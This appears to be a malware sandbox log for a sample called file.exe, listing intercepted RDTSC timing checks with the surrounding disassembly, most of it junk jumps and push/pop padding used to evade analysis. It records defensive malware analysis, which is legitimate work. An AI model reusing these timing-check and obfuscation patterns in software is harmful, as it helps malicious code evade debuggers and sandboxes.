Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3D324 second address: D3D32A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D41999 second address: D419C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5500B4B7D3h 0x00000009 jp 00007F5500B4B7C6h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F5500B4B7CAh 0x00000017 push edx 0x00000018 pop edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D419C5 second address: D419C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D419C9 second address: D419CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D419CF second address: D41A13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F5500C932A3h 0x0000000c jmp 00007F5500C932A8h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 jmp 00007F5500C9329Bh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D50B37 second address: D50B5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007F5500B4B7CCh 0x0000000a jmp 00007F5500B4B7CDh 0x0000000f push eax 0x00000010 push edx 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D50B5B second address: D50B5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D52F9D second address: D52FAF instructions: 0x00000000 rdtsc 0x00000002 ja 00007F5500B4B7C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jo 00007F5500B4B7C8h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D52FAF second address: D52FD2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5500C932A2h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F5500C9329Dh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5A1D4 second address: D5A1ED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5500B4B7D5h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D58D74 second address: D58D83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jg 00007F5500C9329Eh 0x0000000b push esi 0x0000000c pop esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D58D83 second address: D58D96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jp 00007F5500B4B7CCh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D58D96 second address: D58DB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5500C932A2h 0x00000009 jng 00007F5500C93296h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D592EA second address: D592F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D592F0 second address: D592F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5D857 second address: D5D878 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F5500B4B7C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F5500B4B7D4h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5D878 second address: D5D87E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D607EA second address: D607EF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D68226 second address: D68244 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F5500C93296h 0x0000000a popad 0x0000000b push eax 0x0000000c jmp 00007F5500C9329Fh 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D68244 second address: D68255 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jo 00007F5500B4B7C6h 0x00000009 pushad 0x0000000a popad 0x0000000b pop ebx 0x0000000c push edi 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7A990 second address: D7A994 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7A994 second address: D7A9A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F5500B4B7C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7A9A3 second address: D7A9A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7A6E6 second address: D7A6EB instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8FBFC second address: D8FC00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8FC00 second address: D8FC09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8FC09 second address: D8FC13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8EB53 second address: D8EB58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8ECAE second address: D8ECB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8EE30 second address: D8EE3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F5500B4B7C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8EE3A second address: D8EE4A instructions: 0x00000000 rdtsc 0x00000002 ja 00007F5500C93296h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8EE4A second address: D8EE4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8EF95 second address: D8EFA0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F5500C93296h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8F530 second address: D8F536 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8F67A second address: D8F680 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8F7F0 second address: D8F7FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jnl 00007F5500B4B7C6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D95281 second address: D95285 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D95285 second address: D9528B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9528B second address: D9529F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F5500C9329Eh 0x0000000c jp 00007F5500C93296h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9529F second address: D952A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D952A7 second address: D952AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D971BD second address: D971C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E2027B second address: 4E202A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5500C932A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E202A0 second address: 4E202A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E202A4 second address: 4E202A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E2031F second address: 4E20343 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5500B4B7D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F5500B4B7CCh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20343 second address: 4E20349 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20349 second address: 4E2034D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E2034D second address: 4E203C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F5500C9329Fh 0x00000010 xor esi, 0B2676FEh 0x00000016 jmp 00007F5500C932A9h 0x0000001b popfd 0x0000001c pushfd 0x0000001d jmp 00007F5500C932A0h 0x00000022 sub ch, FFFFFFF8h 0x00000025 jmp 00007F5500C9329Bh 0x0000002a popfd 0x0000002b popad 0x0000002c mov ebp, esp 0x0000002e jmp 00007F5500C932A6h 0x00000033 pop ebp 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E203C6 second address: 4E203DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5500B4B7D3h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E203DE second address: 4E203F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5500C932A4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB76AD second address: CB76B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB76B1 second address: CB76C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b js 00007F5500C93296h 0x00000011 push esi 0x00000012 pop esi 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB76C5 second address: CB76CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB7AC6 second address: CB7ACC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E2040C second address: 4E20410 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20410 second address: 4E20428 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5500C932A4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20428 second address: 4E20455 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F5500B4B7D1h 0x00000009 jmp 00007F5500B4B7CBh 0x0000000e popfd 0x0000000f mov dx, si 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 xchg eax, ebp 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 push edi 0x0000001a pop eax 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20455 second address: 4E204AB instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F5500C932A9h 0x00000008 adc cl, FFFFFFC6h 0x0000000b jmp 00007F5500C932A1h 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 popad 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007F5500C9329Ah 0x0000001e xor ax, AB68h 0x00000023 jmp 00007F5500C9329Bh 0x00000028 popfd 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E204AB second address: 4E204B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E204B0 second address: 4E204B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E204B6 second address: 4E204F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F5500B4B7CDh 0x0000000e mov ebp, esp 0x00000010 jmp 00007F5500B4B7CEh 0x00000015 pop ebp 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F5500B4B7D7h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E204F6 second address: 4E2050E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5500C932A4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E2050E second address: 4E20512 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E2055A second address: 4E20575 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5500C932A7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20575 second address: 4E2057B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E2057B second address: 4E205A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 call 00007F55720A6D05h 0x0000000d push 762327D0h 0x00000012 push dword ptr fs:[00000000h] 0x00000019 mov eax, dword ptr [esp+10h] 0x0000001d mov dword ptr [esp+10h], ebp 0x00000021 lea ebp, dword ptr [esp+10h] 0x00000025 sub esp, eax 0x00000027 push ebx 0x00000028 push esi 0x00000029 push edi 0x0000002a mov eax, dword ptr [762C0140h] 0x0000002f xor dword ptr [ebp-04h], eax 0x00000032 xor eax, ebp 0x00000034 push eax 0x00000035 mov dword ptr [ebp-18h], esp 0x00000038 push dword ptr [ebp-08h] 0x0000003b mov eax, dword ptr [ebp-04h] 0x0000003e mov dword ptr [ebp-04h], FFFFFFFEh 0x00000045 mov dword ptr [ebp-08h], eax 0x00000048 lea eax, dword ptr [ebp-10h] 0x0000004b mov dword ptr fs:[00000000h], eax 0x00000051 ret 0x00000052 push eax 0x00000053 push edx 0x00000054 pushad 0x00000055 jmp 00007F5500C932A8h 0x0000005a mov ah, 78h 0x0000005c popad 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E205A6 second address: 4E205AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E205AC second address: 4E2060D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5500C932A6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b and dword ptr [ebp-04h], 00000000h 0x0000000f jmp 00007F5500C932A0h 0x00000014 mov edx, dword ptr [ebp+0Ch] 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a mov ch, bl 0x0000001c pushfd 0x0000001d jmp 00007F5500C932A6h 0x00000022 adc cx, 50C8h 0x00000027 jmp 00007F5500C9329Bh 0x0000002c popfd 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E2060D second address: 4E20625 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5500B4B7D4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20625 second address: 4E2065F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, edx 0x0000000a jmp 00007F5500C932A7h 0x0000000f mov al, byte ptr [edx] 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F5500C932A5h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E2065F second address: 4E20665 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20665 second address: 4E20669 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20669 second address: 4E206C3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5500B4B7D3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b inc edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov bx, A356h 0x00000013 pushfd 0x00000014 jmp 00007F5500B4B7D7h 0x00000019 sub ecx, 0D2957DEh 0x0000001f jmp 00007F5500B4B7D9h 0x00000024 popfd 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E206C3 second address: 4E2065F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov al, dl 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a test al, al 0x0000000c pushad 0x0000000d mov bx, ax 0x00000010 movzx esi, dx 0x00000013 popad 0x00000014 jne 00007F5500C931FFh 0x0000001a mov al, byte ptr [edx] 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F5500C932A5h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E206E3 second address: 4E206F5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5500B4B7CEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E206F5 second address: 4E206FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E206FB second address: 4E20745 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 sub edx, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov bx, 0A26h 0x00000011 pushfd 0x00000012 jmp 00007F5500B4B7D7h 0x00000017 adc ecx, 6C1E9CAEh 0x0000001d jmp 00007F5500B4B7D9h 0x00000022 popfd 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20745 second address: 4E2079E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F5500C932A7h 0x00000008 pop eax 0x00000009 pushfd 0x0000000a jmp 00007F5500C932A9h 0x0000000f add cx, 3646h 0x00000014 jmp 00007F5500C932A1h 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d mov edi, dword ptr [ebp+08h] 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 movsx edx, ax 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E2079E second address: 4E207CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5500B4B7D0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 dec edi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F5500B4B7D7h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E207CC second address: 4E207D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E207D2 second address: 4E207D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E207D6 second address: 4E207E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lea ebx, dword ptr [edi+01h] 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E207E7 second address: 4E207EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E207EB second address: 4E207F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E207F1 second address: 4E2081A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5500B4B7CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov al, byte ptr [edi+01h] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F5500B4B7D5h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E208FB second address: 4E20918 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5500C932A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E20918 second address: 4E2094E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5500B4B7D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and ecx, 03h 0x0000000c jmp 00007F5500B4B7CEh 0x00000011 rep movsb 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F5500B4B7CAh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E2094E second address: 4E2095D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5500C9329Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
